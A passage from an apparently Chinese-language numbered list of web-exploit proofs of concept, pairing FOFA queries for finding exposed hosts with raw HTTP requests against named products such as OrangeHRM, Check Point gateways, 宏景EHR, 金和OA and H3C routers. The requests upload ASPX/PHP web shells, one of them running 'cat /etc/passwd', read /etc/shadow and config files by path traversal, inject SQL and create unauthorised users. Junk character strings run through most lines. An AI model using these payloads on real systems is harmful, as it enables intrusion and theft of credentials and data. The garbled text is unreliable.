8 D/ |7 [3 G/ H1 _' FFOFA:body="/KT_Css/qd_defaul.css"% A! \4 ~* K0 Y6 V8 J0 z
第一步,上传文件<fileName>字段指定文件名,<fileFlow>字段指定文件内容,内容需要base64加密; _5 Q6 _4 N, ]+ d/ V3 g6 R7 R9 o/ {
POST /Webservice.asmx HTTP/1.1; ?& Q% u' i/ T: t3 u8 F
Host: x.x.x.x/ E( E0 q" @9 p0 n8 c  v
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36' _8 k9 f& K' v/ V; u+ E1 I$ F* `
Connection: close
; Q& b4 _8 {: N4 I' d3 @Content-Length: 445
. i$ S" K. M8 \Content-Type: text/xml
5 f$ M+ i# r1 ^1 iAccept-Encoding: gzip: D( k6 A9 N4 ]4 s
+ E7 p! y9 c  ~3 L- {6 [% G
<?xml version="1.0" encoding="utf-8"?>& v% \) E# p* A! \- y: ?" T! q
<soap:Envelope xmlns:xsi="% i, j, O1 x, v& N# ]6 g
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+ A1 X6 n$ `/ b: U5 lxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
: ~; w* A- R/ Y5 z8 e<soap:Body>
0 }" d( @  u! J5 _( F6 n<UploadResume xmlns="http://tempuri.org/">( J8 r! ]# w9 ?' r& n6 |
<ip>1</ip>/ k. x  A- p  d
<fileName>../../../../dizxdell.aspx</fileName>, _) q# Y% b% O' s# M+ M
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>/ n! V' R+ B& b; |" x
<tag>3</tag>
9 C& q9 a- h0 j5 C& m& |& ~</UploadResume>1 H4 p3 }# |" N$ X; o0 U8 w+ @
</soap:Body>
0 |) [+ `+ y+ [</soap:Envelope>; M& A. \- b; C, `" t

. D3 L) t" y. w1 k9 }. ~  l: m. e  X# V* a& m- ^2 m- M5 y
http://x.x.x.x/dizxdell.aspx3 A4 ~8 J! U! d  b+ v1 Y* ]. Q
) H5 R* ~3 |9 `, V! }/ }+ R# \* c* l
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传- T7 S3 m6 h% m5 G2 e
FOFA: app="和丰山海-数字标牌"1 l; A8 B$ z* ~) O* p, n3 n
POST /QH.aspx HTTP/1.1
# W* c8 s7 v! i4 Z* w. qHost: x.x.x.x! v% J& Y! U) H1 l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
: Y% O' ]2 r' Y! b. p/ NConnection: close8 c3 w* v/ a; B4 m$ I9 C
Content-Length: 583
  \0 j$ R# f( `5 jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
+ _) M2 P/ p! Z  g$ ~  o" |Accept-Encoding: gzip
+ H3 x: ]9 D( \) Q: S( S9 }5 C% ^0 Q+ ~: V$ j$ Z0 R/ o8 H& K
------WebKitFormBoundaryeegvclmyurlotuey0 o* x# y0 {0 h9 G
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"; t" G% \' |) H/ P. d: A
Content-Type: application/octet-stream
2 z* a9 m7 R. s0 J' C% y7 K# M% s8 o" ^" W1 ?& w7 ^* S
<% response.write("ujidwqfuuqjalgkvrpqy") %>
( A7 z. A# l/ Y1 y+ u+ O; y------WebKitFormBoundaryeegvclmyurlotuey& M# W  |9 t2 ?+ i
Content-Disposition: form-data; name="action"  D% a5 j1 k) r2 V: Y3 E
" b9 b+ a! A2 j' k0 ]& w
upload
& [9 ]( C! S: b. w% ]0 E------WebKitFormBoundaryeegvclmyurlotuey# Q+ N$ h! Y2 c+ }/ G$ a, u6 E' A
Content-Disposition: form-data; name="responderId"( ?: I. T4 P6 g* n/ \/ y% K

2 A( k, Q9 f4 L! ^2 z( L, Q$ ?' kResourceNewResponder3 A# A" W: m- j* ]# |( @
------WebKitFormBoundaryeegvclmyurlotuey# Z$ `1 l, D. D4 w/ ~" R& ^/ }/ P
Content-Disposition: form-data; name="remotePath"6 U- X. Y: W; F2 R3 s( F) a/ l

1 q& m  K) h1 d8 N% F# a7 b) ^7 S/opt/resources
) }6 W' b1 N1 A- o2 x; Y------WebKitFormBoundaryeegvclmyurlotuey--7 }2 Q1 B% [6 @7 d
2 a8 @5 u. M' l$ I, t, c
& L" i9 ^; r9 H" ^; a
http://x.x.x.x/opt/resources/kjuhitjgk.aspx$ v" \$ D2 s3 Z/ m/ R8 Y2 Q; w0 p

' U1 P6 a- U9 T' M163. 号卡极团分销管理系统 ue_serve.php 任意文件上传& l5 l/ ^9 u7 o& {3 w/ |, Q
FOFA: icon_hash="-795291075"2 C! E. a  U: T& `% c" ]$ w4 `
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1" _9 p$ Y+ \! n6 |4 ]- `# @
Host: x.x.x.x/ E3 v3 ^, p" G, N. [- b2 Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
% K; h: R5 w- Z; FConnection: close
3 A% Q, k( Z3 X/ k# VContent-Length: 2932 |2 O3 C* v# ?$ t2 B5 [
Accept: */*
  q; [- [6 |+ f5 L6 DAccept-Encoding: gzip, deflate
! }% g8 ?5 R- {Accept-Language: zh-CN,zh;q=0.9# c, }5 Q8 u) J' `. r& m: x1 E
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
+ D9 [) L4 P* N1 j2 \. z0 B  ?( q, d( ~
* M" q3 R  B2 O" }$ T------iiqvnofupvhdyrcoqyuujyetjvqgocod
+ I, s3 f! g) I$ t$ s/ tContent-Disposition: form-data; name="name"0 d1 I' M! t6 y$ p/ p

! m/ H' [1 q9 }& ~) C  N) j4 \1.php2 m# a/ ~0 O* k+ ]0 K. x
------iiqvnofupvhdyrcoqyuujyetjvqgocod
8 M$ f( `9 I( w% d- J+ `; QContent-Disposition: form-data; name="upfile"; filename="1.php"
  W( d5 i6 b6 w% `3 w) rContent-Type: image/jpeg
& H, v0 m2 O! m0 P& {# q( z) p8 I* [  u2 b. h
rvjhvbhwwuooyiioxega
  w0 q7 ]. ?( ?7 F* K7 _& E0 w' S------iiqvnofupvhdyrcoqyuujyetjvqgocod--3 C; A/ e! U- }; p7 s6 v+ E

1 q+ j/ G# ?3 M  w* a% i
: G& m2 F% C* l# S# @/ S1 {/ A5 g; }164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 w. Q6 Q2 ?& ^8 r% M, [- Q9 DFOFA: title="智慧综合管理平台登入"
& C/ d4 r6 f& XPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
2 ~1 h& j4 Z$ c" O0 uHost: x.x.x.x' I+ C% B/ [! P9 O1 T- Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0& l; x: W0 l2 V. `  n) O
Content-Length: 2883 w5 c7 I6 s6 X) B" C' I
Accept: application/json, text/javascript, */*; q=0.01
- S' _* a0 ]& f  G* ^5 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
  I8 v1 E% i" [  |  P  T6 wConnection: close: ?9 |% ?2 g. d: l$ z, W! v
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl/ u( f6 Y# Y) s& S2 h: Q4 C6 ]
X-Requested-With: XMLHttpRequest
0 v( P7 {) ]& s$ D4 lAccept-Encoding: gzip8 @/ y7 c4 T. C" B4 E5 g

3 [3 L& a; \9 S$ B! i/ h! s------dqdaieopnozbkapjacdbdthlvtlyl
9 x  X: I3 k7 v9 {3 Q+ u7 @Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 N+ b6 i& F$ h3 rContent-Type: image/jpeg2 r/ V6 r. p; P" I1 C- e

+ Z, M$ L6 l$ x1 ^7 ^( L) |<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>' J4 I# b# L5 w! `& [/ F6 g
------dqdaieopnozbkapjacdbdthlvtlyl--
: G5 t% m9 v2 T$ k8 F; q! v
! |" v- D! Z6 h7 I/ W1 }" A8 G3 k5 }  T* R% n
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
. ?6 G- g/ p1 H: l- X( A( A& X' l9 N1 z- r% c3 N/ Q
165. OrangeHRM 3.3.3 SQL 注入
6 E  @% x  C+ K: J( {9 fCVE-2024-36428
! v: k4 p# \( _7 i- D9 M' N) aFOFA: app="OrangeHRM-产品"
5 W$ H- a% s$ {& [URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))6 S' q" s7 N2 e# c5 o

  O, {) h9 H' f, s7 n) h
; S/ Z4 X( n2 S% z0 @, R% T& u166. 中成科信票务管理平台SeatMapHandler SQL注入
- u* @3 o' p  _2 o" AFOFA:body="技术支持:北京中成科信科技发展有限公司"
4 U9 U+ ?, o# v- [# p% RPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1- F2 R& {. i" r* v
Host:
6 l5 E+ m5 P5 t0 n" ?  mPragma: no-cache
  y  Y/ q" P: X5 nCache-Control: no-cache" l( b$ K1 d/ c$ m
Upgrade-Insecure-Requests: 1
5 m% @/ H9 ^# zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 D9 a9 N  x4 R5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7$ ^9 ?0 p) U$ z; Z' i( E8 Y) s3 m' {
Accept-Encoding: gzip, deflate
# i/ s' o! }4 X2 v* DAccept-Language: zh-CN,zh;q=0.9,en;q=0.8/ Z% V5 D3 k# J8 k5 B" ?
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
8 q1 g5 I8 a- J8 b' eConnection: close" M! y& C9 \0 Z9 X5 `1 O# v5 A9 E
Content-Type: application/x-www-form-urlencoded5 y2 y' r( ^' N. R- M. _
Content-Length: 89
( w6 g, o# c8 p9 I3 o' ]4 g* R4 D( ]- g: D
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
+ V/ e/ @5 I* l! |) {, d7 I( m1 c( c( Z" X
5 a6 m* l+ T. J. h0 `5 _. R; T
167. 精益价值管理系统 DownLoad.aspx任意文件读取  U. E1 }3 s* j* k# c/ `, N& W" s. B+ C( [
FOFA:body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
- A" n# v1 Y' @/ E- qGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1- {7 X$ m, a$ v4 G
Host:1 Y) U9 I2 f7 w4 b4 _: y' B$ `
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) ]3 F4 K& P- R0 `/ [2 IContent-Type: application/x-www-form-urlencoded
8 z" T7 i- R5 ?: u9 kAccept-Encoding: gzip, deflate
5 c8 {' n1 a- E( m$ P7 _Accept: */*$ e9 e) V- s* f( U% J, O/ V
Connection: keep-alive
8 H: J5 {. u! s1 {+ ?
: e* h& [. A  H! V6 B% ~; W/ X% y$ T6 a1 R: n/ S
168. 宏景EHR OutputCode 任意文件读取
2 y& t" f; b0 ?FOFA:app="HJSOFT-HCM"$ ^7 W( n- J" F6 G! j. z
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
8 b# _( Z6 z# ]7 @. sHost: your-ip) ~6 l  z0 I3 Z9 g! p5 _( @7 z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.366 A, B1 i8 G" d2 v! C3 ~
Content-Type: application/x-www-form-urlencoded
0 b4 z3 i2 F$ o$ fConnection: close$ x. e0 R' Z3 l1 x, ^
+ }- p% B1 t! e

+ L/ |$ t" L, B. q7 j2 _
2 X) {2 w+ R' M169. 宏景EHR downlawbase SQL注入1 k$ M/ r& t( I9 M
FOFA:app="HJSOFT-HCM"; p8 P, {( A" A& W! u5 J
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
- d! [: r: A2 y1 _1 ~  KHost: your-ip8 k, Q' Y6 v- k% z2 i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.360 F6 f: N8 }, q% l3 H/ e
Accept: */*
/ v) |' Z( v5 ZAccept-Encoding: gzip, deflate
+ W% q. q9 q2 l' z6 _2 B  RConnection: close5 ^* }7 J$ h5 z" p9 ~# g, \: f
4 ~- p. K. {4 e& I- @0 q
7 X( ?) x( r- O( y, G; r1 e2 e( C$ D
: k* U5 I, m4 ~( h3 b
170. 宏景EHR DisplayExcelCustomReport 任意文件读取8 h7 G7 L9 M4 K6 G  `1 Q
FOFA:body="/general/sys/hjaxmanage.js"
# _& o) R: ?8 Y4 i  e( d# N; MPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1. Q& y/ i6 t$ p. f7 T
Host: balalanengliang7 Y6 a% P3 I' u. \# x" J% E' Z: s$ b
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.368 }2 k, R$ @5 e3 f9 [, U1 N
Content-Type: application/x-www-form-urlencoded
& `7 M- W; l+ w7 J6 ^7 R6 r% C4 k
0 x( \0 f% g' {$ mfilename=../webapps/ROOT/WEB-INF/web.xml
! x8 t5 s7 I" g
" s' t* B7 b& o4 Y2 _/ Q5 Y, B# H" L0 M' b9 E
171. 通天星CMSV6车载定位监控平台 SQL注入
4 J# J  V9 u3 k9 B9 ?FOFA:body="/808gps/"- ?0 e# h" z# \) _6 A. |
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
% y+ h* m% l8 {Host: your-ip
( W, ]5 P$ w/ u, e4 \3 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, T! [* J0 X' O" ~6 e7 _Accept: */*7 c  W5 p4 E5 |# J) z' J# L
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2& Z/ H% j3 @1 I+ b' D
Accept-Encoding: gzip, deflate2 h3 M. p4 c" F
Connection: close. m3 }* U% e+ |% D( u* S

% P5 }, I2 z+ u1 X$ |4 u0 J: R$ K" c( ]1 q

& v0 d+ u; G! }0 M; L" Y4 p, F172. DT-高清车牌识别摄像机任意文件读取8 A" l8 k( r, o9 `+ |: \1 ^6 Y
FOFA:app="DT-高清车牌识别摄像机"
& x: J* M: ^; V4 X6 CGET /../../../../etc/passwd HTTP/1.1: e1 X: i$ p' q
Host: your-ip
/ J  u/ d2 |5 Y$ m7 m; qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36! o/ m. B! q2 x1 T! I
Accept-Encoding: gzip, deflate6 {( e# i$ [$ H2 _8 P
Accept: */*2 J' {& h1 M' k, R  i) `
Connection: keep-alive
1 e- @& c' L, n3 @
/ l( e* a7 K/ A) w
: P5 ^7 x/ r" B9 W. y
' n# g0 m; W5 k0 f173. Check Point 安全网关任意文件读取9 ~' W% E' T+ S. i" k/ x
CVE-2024-24919% w+ }6 B9 u, |; {5 X" \# e
FOFA:app="Check_Point-SSL-Network-Extender"3 u+ S4 G) l4 x8 X: L
POST /clients/MyCRL HTTP/1.1' r' H3 i. \5 O: X( {/ U
Host: your-ip
' j% h6 C* i; J* D& {, i, hContent-Type: application/x-www-form-urlencoded! ]: n# k; _) V! f5 O# G0 P

. `/ a8 m' ]; h6 a* maCSHELL/../../../../../../../etc/shadow
  `% `$ q$ V- C  E9 D
2 k( f4 E5 ]$ ^1 f- e7 h1 {' ^% a6 e' {; G8 @  q% @' w' l7 s, b* M
0 T. ^" U8 r1 I0 s
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 E1 z* C( w$ h1 u7 VFOFA:app="金和网络-金和OA"7 F& D. ]  \' p2 \' g
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
) _2 C+ f+ T1 y9 wHost: your-ip
4 a1 T& }2 d/ s/ S; Y( h, `1 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 n! V( Q# E" A' W: Z6 y0 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.77 c- B# a' q* X* d
Accept-Encoding: gzip, deflate, br
6 n2 K9 q+ T7 n. b/ L; [Accept-Language: zh-CN,zh;q=0.9
  G  D3 ~2 `9 ?4 Y* _+ B- mConnection: close
3 r$ E) w6 h* \) Q/ F! g* J3 @& T( M% b
7 d0 A( e5 I* ?, ^3 m7 D
5 [7 [: u5 U- c' r* O$ P
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入! ^" v/ |2 l. E( r  y# `2 R5 k( k
FOFA:app="金和网络-金和OA"
1 F( W/ M2 s4 r& N) ~% oGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
5 n1 l9 p5 T0 }/ Z: \! B. XHost:
0 I7 U3 T# ~3 D3 J3 mUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.362 q3 `! F1 ]  G) x# r! d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 a4 [: A; p" f' V  Q! S( A4 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  z! A' `% Q# vAccept-Encoding: gzip, deflate
. \9 \5 A% e8 a" g' YConnection: close
3 Y6 N& c. v* A6 E" KUpgrade-Insecure-Requests: 18 z- c, b" }6 v& w" {

: u6 `- |- Z* D5 [; N! t9 j' |2 I4 r* h5 y7 V
176. 电信网关配置管理系统 rewrite.php 文件上传! k$ G6 Z: X; g6 G4 u( q5 d
FOFA:body="img/login_bg3.png" && body="系统登录"
2 X, j7 J4 a( P; M$ k( B. `: c# bPOST /manager/teletext/material/rewrite.php HTTP/1.1$ L. m& Y4 p! G, Z$ Z
Host: your-ip1 Q" O4 \/ p% L6 U4 a: F' |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& S; U+ P( n& ?# x* ?6 g0 tContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
' D8 ^' c" ~8 A& h6 Z" bConnection: close0 y& e& ?  E! {8 H* j9 E1 E

5 T/ v- s; T- X. H* k6 d  c------WebKitFormBoundaryOKldnDPT( s" c9 r% {9 l9 C
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
$ l" b2 Z3 H) W8 U/ `2 n( iContent-Type: image/png' u9 {9 L% a" u2 `
4 O. \$ ?5 S5 e0 i6 g
<?php system("cat /etc/passwd");unlink(__FILE__);?>  t/ A. G3 M5 g% C
------WebKitFormBoundaryOKldnDPT
# x2 [5 \) d& c1 x$ g- fContent-Disposition: form-data; name="uploadtime"3 |/ V( Z( T0 e, j( |* r

4 R' s/ |2 ]" Q; |$ c0 F' \
: ^8 d( G1 X$ ]/ y& S4 s------WebKitFormBoundaryOKldnDPT--
4 s! \8 ^+ o9 d8 Y- R0 }# O$ E. I. z
* D$ O9 t4 k/ A. n4 ^$ I
0 t; m5 j6 E3 k
177. H3C路由器敏感信息泄露
& B8 h% ]% A! ~8 Z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
3 ^" R) q3 p0 ~$ a, r/ @) O$ q/userLogin.asp/../actionpolicy_status/../M60.cfg4 O, e( U% k# J4 @8 |, \8 M+ `0 |$ R
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
0 i3 z5 G! Z! \8 E8 J/userLogin.asp/../actionpolicy_status/../GR5200.cfg0 x4 v8 t0 w' ~) m% |$ `8 }& |
/userLogin.asp/../actionpolicy_status/../GR3200.cfg1 J6 q8 m2 A3 o
/userLogin.asp/../actionpolicy_status/../GR2200.cfg# ?0 \6 a9 ~3 ^1 s% Z
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg5 ^& s& y8 m# |
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg( t- G; h# U5 f; P: h8 H
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
0 \8 x) V4 r" \: A& x% a/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
& u4 D1 E# X4 Z) t; W: O/userLogin.asp/../actionpolicy_status/../ER5200.cfg  X' Z5 B/ S+ i& A7 L$ |5 n- }
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
, I6 p& c& G' U) p( P. A' Y4 u/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg. G7 O% H: c  K3 R/ g
/userLogin.asp/../actionpolicy_status/../ER3260.cfg5 @4 {# \8 h  I; C
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg* X+ @: T4 H  I# _
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/ g( I$ X7 {% i* M: O5 B/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
2 `, S0 @  Z9 l% l5 u8 R( ~/userLogin.asp/../actionpolicy_status/../ER3108G.cfg- k, H6 \$ S4 M! e
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg/ Q" `' O6 u, E0 Q) r0 f
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
% ^; @  n/ g- ]4 X/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg: {! |" T3 w  B; H0 ]0 V
+ J1 C) z8 D( O

2 y( e3 N; N- c- w2 y178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 Q6 l3 o( i" e1 n8 dFOFA:header="/selfservice"
# ^0 A  I# ]1 w! {8 T- [- u5 I" lPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1  `& u! \% ~+ D5 @7 G" u5 ~
Host:
( R5 ^+ @/ O% h, _  S; jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! ^: o# e% l  |. C+ `- f" cContent-Length: 252
6 N1 [" H9 `8 z% }0 J" sAccept-Encoding: gzip, deflate( ~0 ^: s. S1 C& E
Connection: close" a, E' @) E/ j! p, X
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l  s- {6 N/ l$ k. ^$ [3 S
-----------------aqutkea7vvanpqy3rh2l
# D& }5 D, [+ u! k" {, b- JContent-Disposition: form-data; name="12234.txt"; filename="12234"
6 _9 U: {5 @; s7 I6 @9 s( AContent-Type: application/octet-stream
9 y. g4 n. }2 Q+ v# _2 N* O4 YContent-Length: 2555 L2 R! X; [9 \

* L2 B0 X$ I6 U" ~3 D+ y$ B% E12234- y! a2 T% Y* \; a6 t6 T0 F
-----------------aqutkea7vvanpqy3rh2l--
# S* A4 I% e  e
& x" B( ~6 Q5 o) I) E2 S# ~4 @  O. L( i2 q5 U$ |
GET /imc/primepush/%2e%2e/flex/12234.txt6 s" e! P& |  G* p: L/ Z# M

6 e8 ~4 T4 |( c, ^6 ]0 O( y4 p- W) r* o. K6 F% g: F( g
179. 建文工程管理系统存在任意文件读取
1 ?+ K7 X2 J. OPOST /Common/DownLoad2.aspx HTTP/1.1
- B' m7 X: w9 `3 W7 q# cHost: {{Hostname}}1 u7 h6 ]% V' P- \; t7 I
Content-Type: application/x-www-form-urlencoded
* e' E0 r2 r6 t9 [( p# H) g* F0 H7 AUser-Agent: Mozilla/5.0
& t# n# S4 i, n0 ]* p/ J* x+ Y) Z& I
path=../log4net.config&Name=
, e8 j" t" u1 l3 X7 x
2 A* t$ x8 d. b1 d; \- c. l+ q
# `& J/ u  X* C8 z/ ]180. 帮管客 CRM jiliyu SQL注入. s9 T7 d7 M- v# f# f& w& D
FOFA:app="帮管客-CRM"/ [6 {1 E( W6 @
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1( O7 A* S4 u! g7 ?
Host: your-ip$ \: z: {- C9 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% F( O( H3 K0 ^8 y+ o- ?! UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7+ h" ~! |/ F* q/ p% L$ D
Accept-Encoding: gzip, deflate
3 [& Z5 o' b7 ^( Z, j$ xAccept-Language: zh-CN,zh;q=0.9
" H- Y# X4 d+ P/ [4 l/ K; W, ^Connection: close3 Y+ l1 i: Z# X4 N  M" B: c0 p

: ^6 @' m6 `5 a$ x) E4 ~. H) m! ]
! ^/ U) A6 t, J, D& }' H" l8 m181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入$ o, P! Q: j. ~2 F
FOFA:"PDCA/js/_publicCom.js"6 f( F* L" b7 m/ G) V- t1 T* L9 Z  F
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1! n7 Y5 t" I7 ^) o
Host: your-ip
; h5 Z, T3 N3 \" \& |6 ~% AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36. [, j+ f" }5 A( j( \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Q/ F7 z  |3 E! h/ {' a/ rAccept-Encoding: gzip, deflate, br2 F' Q. Y" [) Q  W
Accept-Language: zh-CN,zh;q=0.9/ d0 b/ }6 D8 P* F. g
Connection: close
2 f- M. G$ K, w+ AContent-Type: application/x-www-form-urlencoded' _+ N' A, j) n/ Z' A9 n; S9 r

. X& H# t7 n/ h; i) ]% c  _3 E2 z& B9 @/ U* q0 d6 b6 }0 h- e3 X
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
: u% m6 R* ]" c/ h3 O. a; m% @
; ]1 ~+ U/ R% y8 u. u0 m$ d+ S4 I& T" M2 n) \& Z- d* R0 S( @
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建1 }: b( @' _7 G9 I
FOFA:"PDCA/js/_publicCom.js"
5 S9 E$ k( N$ R, FPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1* h* W, [$ l5 q5 M$ u3 O4 r
Host: your-ip
7 j  Z/ n/ M! G. _7 A" Y& rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 O9 E( }9 g. X! G' eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7& E  O9 o/ q% e
Accept-Encoding: gzip, deflate, br8 r7 A4 r6 p" T$ s0 r- ~8 i- Q' \9 H7 V
Accept-Language: zh-CN,zh;q=0.93 d/ Q% c% y$ y! D$ A+ C
Connection: close
4 s6 c- Z, ^5 Z0 rContent-Type: application/x-www-form-urlencoded8 o) Q' v$ c: r6 R* p2 B

9 z) m" `0 i* s2 r( K# W" q# `3 C! Q( k2 C% e0 i5 h8 z6 d# Y
username=test1234&pwd=test1234&savedays=1. q2 v( H$ C. z+ |& A, c

) R) b! u0 w# b) x. z
5 F1 f4 a, W0 f2 A, e; m183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入5 m8 }( s* H( X, C, }- i2 P
FOFA:body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
' W5 f8 `# R1 L, S$ a- DGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1% a" Y! g( V% \
Host: your-ip
